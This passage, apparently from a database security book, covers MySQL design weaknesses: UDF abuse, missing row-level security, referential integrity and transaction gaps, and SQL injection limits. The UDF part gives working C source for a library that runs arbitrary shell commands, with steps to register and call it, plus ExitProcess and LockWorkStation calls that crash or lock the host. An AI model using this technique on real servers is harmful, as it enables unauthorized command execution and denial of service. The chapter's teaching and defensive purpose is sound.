Exploiting Architectural Design Flaws

This section covers the following:

• What design flaws exist?

• How are they exploited?

• How to recognize and defend against these attacks.

There have historically been various design flaws in MySQL, mainly affecting the authentication protocol, which were discussed previously in this chapter. This section covers the weak points of MySQL from a more general, architectural point of view.

Flaws in the authentication mechanism that allow remote users to authenticate without credentials are probably the most serious category of architectural flaw.

In broader philosophical terms, the largest weak point of MySQL is its relative simplicity, though in many ways this simplicity can also be considered a strength. As an example, an extremely useful feature of Microsoft SQL Server is the ability to execute queries on remote database serversfor example, you might send a query to server MS that looks something like this:

 select * from openrowset( ...; MySQLHost, root, password; 'select * from mysql.user' ... ) 

The OpenRowset statement in SQL Server allows you to issue a query to another serverrunning a different DBMSin the middle of your SQL Server query. Obviously this is open to abuse. One of the most popular abuses is to use this functionality as a means of portscanning the network that the SQL Server is in, since it will take different lengths of time to respond depending on whether the remote host is present, is a SQL Server, or is absent altogether.

This point illustrates one of the strengths of MySQLbecause no equivalent of the OpenRowset statement exists, MySQL isn't subject to this kind of attack. The problem is that if behavior is too simple, safeguards against abuse can sometimes be missing.

User-Defined Functions

Almost every DBMS has some mechanism for calling into custom native codein SQL Server there is the concept of an extended stored procedure; in Oracle it's called an external stored procedure, and so on. The basic principle is that the user creates a dynamically loadable library (.dll on Windows or an .soshared objectin Linux) that the database can then call into on the basis of a SQL statement.

Because most databases run with administrative privilegesor at the very least have control over their own code and datathis poses a serious security problem. If a malicious UDF can be created and executed by a MySQL user, the security of the entire database server is in jeopardy.

The procedure for adding and using UDFs was touched upon earlier in this chapter, but we go into it in further detail here because it represents probably the easiest way to compromise the host that MySQL is running on, once MySQL itself has been compromised.

MySQL provides a mechanism by which the default set of functions can be expanded, by means of custom-written dynamic libraries containing user-defined functions, or UDFs. This mechanism is accessed by the CREATE FUNCTION statement, though entries in the mysql.func table can be added manually.

The library containing the function must be accessible from the path that MySQL would normally take when loading a dynamically loaded library.

An attacker would typically abuse this mechanism by creating a malicious library and then writing it to an appropriate directory using SELECT . . . INTO OUTFILE. Once the library is in place, the attacker then needs update or insert access to the mysql.func table in order to configure MySQL to load the library and execute the function.

The source code for a quick example UDF library is shown here (apologies for the lack of tidiness):

 #include <stdio.h> #include <stdlib.h> /* compile with something like gcc -g -c so_system.c then gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc */ enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args {  unsigned int arg_count;               /* Number of arguments */  enum Item_result *arg_type;         /* Pointer to item_results */  char **args;                              /* Pointer to argument */  unsigned long *lengths;         /* Length of string arguments */  char *maybe_null;                     /* Set to 1 for all maybe_null args */ } UDF_ARGS; typedef struct st_udf_init {  char maybe_null;           /* 1 if function can return NULL */  unsigned int decimals;     /* for real functions */  unsigned long max_length;  /* For string functions */  char      *ptr;   /* free pointer for function data */  char const_item;  /* 0 if result is independent of arguments */ } UDF_INIT;     int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {         if( args->arg_count != 1 )                 return 0;         system( args->args[0] );         return 0; } 

The function can be added to MySQL like this:

 mysql> create function do_system returns integer soname 'so_system.so'; Query OK, 0 rows affected (0.00 sec) 

The mysql.func table then looks like this (you can also do the update manually):

 mysql> select * from mysql.func; +-----------+-----+--------------+----------+  name       ret  dl            type      +-----------+-----+--------------+----------+  do_system    2  so_system.so  function  +-----------+-----+--------------+----------+ 1 row in set (0.00 sec) 

And then the function can be called like this:

 mysql> select do_system('ls > /tmp/test.txt'); +---------------------------------+  do_system('ls > /tmp/test.txt')  +---------------------------------+             -4665733612002344960  +---------------------------------+ 1 row in set (0.02 sec) 

Even if file permissions are such that the attacker cannot create a library of his own on the target system, it is possible that he could use an existing function to some harmful purpose. The difficulty that the attacker has is that the parameter list of most functions is unlikely to match the MySQL UDF prototype:

 int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) 

although it is possible that a resourceful attacker could contrive to execute arbitrary code by calling into an existing system library that experienced some kind of controllable fault when interpreting the parameters passed to it by MySQL.

It is still possible to do bad things with the functions in existing system libraries, howeverfor example, calling ExitProcess in Windows as a MySQL UDF. This will cause MySQL to exit immediatelyeven though the calling user may not have Shutdown_priv:

 mysql> create function ExitProcess returns integer soname 'kernel32'; Query OK, 0 rows affected (0.17 sec) mysql> select exitprocess(); ERROR 2013: Lost connection to MySQL server during query 

You can also lock the currently logged-in user's workstation (same as pressing CTRL-ALT-DEL and then lock computer):

 mysql> create function LockWorkStation returns integer soname 'user32'; Query OK, 0 rows affected (0.00 sec) mysql> select LockWorkStation(); 

(The workstation then locks.)

The conclusion of all of this is the UDF mechanism in MySQL is an extremely flexible and useful feature for developers, and is thus an equally useful feature for attackers . Carefully locking down MySQL privileges (particularly to the MySQL database and the mysql.func table), file permissions, and restricting the use of SELECT . . . INTO OUTFILE are the best immediate defenses against this kind of attack.

Flaws in the Access Control System

Because views are not implemented in the current production version of MySQL (4.1.x), there is no mechanism in MySQL 4.0.x for enforcing row-level security. This might be a problem for some users, and in some cases would lead to a less secure configuration being used, where a more complex DBMS would have been a better choice. For example, suppose a data warehousing system uses MySQL users to determine which users can perform various actions. One of the things that users routinely want to do is change their passwords, so the warehousing software implements this feature as a query of the form

 update mysql.user set password=password( <user supplied data> ) where user=<username> 

Now suppose that the warehousing scripts are vulnerable to an attack where users can substitute the username of their choice in place of the <username> parameter. On a system with row-level security, the attacker would still be unable to change another user's password, because he would only have rights to update his own. Because the MySQL DBMS (version 4.1.x) doesn't implement row-level security, every user has to be able to update every other user's password, which leads to a serious security flaw.

Missing Features with Security Impact

MySQL has no inherent auditing of access violations (but it does support full logging of every connection and query). The security impact of this is fairly obvious; in some environments the lack of native audit support may pose a serious problem. There is significant support for debug logging, however, and it is easy to get MySQL to log every connection and statement to a log file, via the --log option.

Most of the MySQL storage engines mentioned earlier do not support referential integrity or transactions. Although these features are available, they are not implemented in the default storage engine, MyISAM. The discussion that follows is therefore only relevant to the default behavior of MySQL, since you can work around these issues. The discussion does, however, point out some of the possible issues that can occur if your DBMS is not sufficiently feature-rich.

In some applications the lack of referential integrity can lead to race conditions that can result in a "security relevant" situation. For example, suppose you have an application that enforces its own security model via a table of users:

 create table users( username varchar(200), password varchar( 200 ), userid int ); insert into users values ( 'admin', 'iamroot', 0 ); insert into users values ( 'fred', 'sesame', 1 ); insert into users values ( 'joe', 'joe', 2 ); 

These users have access to some resources, which are identified by number:

 create table resources( name varchar( 200 ), resourceid int ); insert into resources values( 'printer', 1 ); insert into resources values( 'filesystem', 2 ); insert into resources values( 'network', 3 ); 

Access to these resources is controlled by a table of access control entries, which determines whether the user can access various resources:

 create table accesscontrol( userid int, resourceid int, allowed int ); # Admin can access all three: insert into accesscontrol values ( 0, 1, 1 ); insert into accesscontrol values ( 0, 2, 1 ); insert into accesscontrol values ( 0, 3, 1 ); # Fred can access the filesystem and network: insert into accesscontrol values ( 1, 2, 1 ); insert into accesscontrol values ( 1, 3, 1 ); # Joe can only access the printer insert into accesscontrol values ( 2, 1, 1 ); 

Suppose we have no referential integrity enforcement. If we delete the user joe, with id 2, like this:

 delete from users where userid=2 

all of the rows pertaining to joe in the table accesscontrol are still present.

If we add another user with the next available id (which is 2, remember), that user inherits all of joe's old rows in the accesscontrol table.

On a database that allowed referential integrity, we could specify that userid was a foreign key in the accesscontrol table, such that when a row in users is deleted, all of the corresponding rows in accesscontrol would be deleted automatically.

Depending on the situation, the lack of transactional support by default might well pose a security problem as well. For example, suppose the company that implements the preceding system has a legal requirement to audit every password change. Suppose the query looks like this:

 update users set password=password(<user data>) where userid = <userid> insert into audit values( 'User changed password', <userid>, <source host>, <datetime> ); 

Suppose the connection to the server failed between these two queries. A user's password would have been changed but the system would have no audit trail. If we were using one of the (non-default) MySQL storage engines that supported transactions, we could simply begin the transaction before the first statement, and commit the transaction after the second, and there would be no possibility of a password change going unaudited.

Missing Features That Improve Security

Prior to version 4.0, MySQL did not support the UNION statement. Because SQL injection is one of the most common forms of attack on databases, and UNION typically forms a key part of the attacker's repertoire , MySQL prior to 4.0 could be considered to be more secure against SQL injection attacks than other database systems. Because of the limitations this places on application developers, however, this is unlikely to be a compelling argument in favor of MySQL. Besides, if you're running an older version of MySQL you are likely to be vulnerable to other security problems that are fixed in more recent versions.

It would be nice to have a feature-limited, but fully patched, build of MySQL, but this doesn't seem to be available anywhere . If an enterprising reader can convince MySQL that this is a good idea, this author would be very grateful.

In a similar vein to the lack of UNION, versions prior to 4.1 do not support subqueries. Subqueries are statements where a SQL statement is used in place of a table name, like this:

 select * from (select name, password from mysql.user). 

Because in a SQL injection attack, the attacker normally has control over a portion of the latter part of the query string, the absence of subqueries in MySQL is a positive advantage from a security point of view.

Again, in the real world the absence of features is unlikely to sell MySQL to management, let alone the development team.

One "missing feature" advantage that is shared by some larger database systems such as Oracle is the absence of very verbose error messages. In SQL Server, it is possible to retrieve data from tables in the text of error messageswhich is a behavior that (fortunately) the authors of MySQL have chosen (to date, at least) not to emulate.